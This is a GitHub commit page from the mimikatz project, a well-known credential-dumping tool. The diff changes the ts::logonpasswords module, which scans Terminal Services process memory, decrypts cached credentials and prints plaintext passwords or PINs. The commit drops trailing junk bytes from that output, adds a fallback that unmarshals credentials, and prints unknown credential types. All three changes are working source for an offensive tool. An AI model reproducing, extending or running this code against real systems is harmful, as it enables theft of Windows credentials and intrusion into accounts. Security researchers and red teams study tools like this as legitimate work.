Skip to content

Commit

Permalink
[fix] mimikatz ts::logonpassword removed junk data after credentials
Browse files Browse the repository at this point in the history
  • Loading branch information
gentilkiwi committed Aug 10, 2021
1 parent d05fa5d commit 7f02230
Show file tree
Hide file tree
Showing 3 changed files with 5 additions and 4 deletions.
6 changes: 3 additions & 3 deletions mimikatz/modules/kuhl_m_ts.c
Original file line number Diff line number Diff line change
Expand Up @@ -315,10 +315,10 @@ BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION
if(decStatus)
{
dwOffset = (lstrlen(pWebKiwiData->Password.Buffer) + 1) * sizeof(wchar_t);
kprintf(L" Password/Pin: %s\n |_ supp data: ", pWebKiwiData->Password.Buffer);
kull_m_string_wprintf_hex((PBYTE) pWebKiwiData->Password.Buffer + dwOffset, pWebKiwiData->Password.Length - dwOffset, 1);
kprintf(L"\n");
kprintf(L" Password/Pin: %s\n ", pWebKiwiData->Password.Buffer);
}
else kuhl_m_sekurlsa_trymarshal(&pWebKiwiData->Password);

LocalFree(pWebKiwiData->Password.Buffer);
}
}
Expand Down
1 change: 1 addition & 0 deletions mimikatz/modules/kuhl_m_ts.h
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
#include "../../modules/kull_m_process.h"
#include "../../modules/kull_m_memory.h"
#include "../../modules/kull_m_crypto_remote.h"
#include "sekurlsa/kuhl_m_sekurlsa.h"

const KUHL_M kuhl_m_ts;

Expand Down
2 changes: 1 addition & 1 deletion mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c
Original file line number Diff line number Diff line change
Expand Up @@ -1419,7 +1419,7 @@ VOID kuhl_m_sekurlsa_trymarshal(PCUNICODE_STRING MarshaledCredential)
kprintf(L"[UsernameForPacked] ?");
break;
default:
kprintf(L"[?] ?");
kprintf(L"[?] ? %u ?", type);
}
CredFree(Credential);
}
Expand Down

0 comments on commit 7f02230

Please sign in to comment.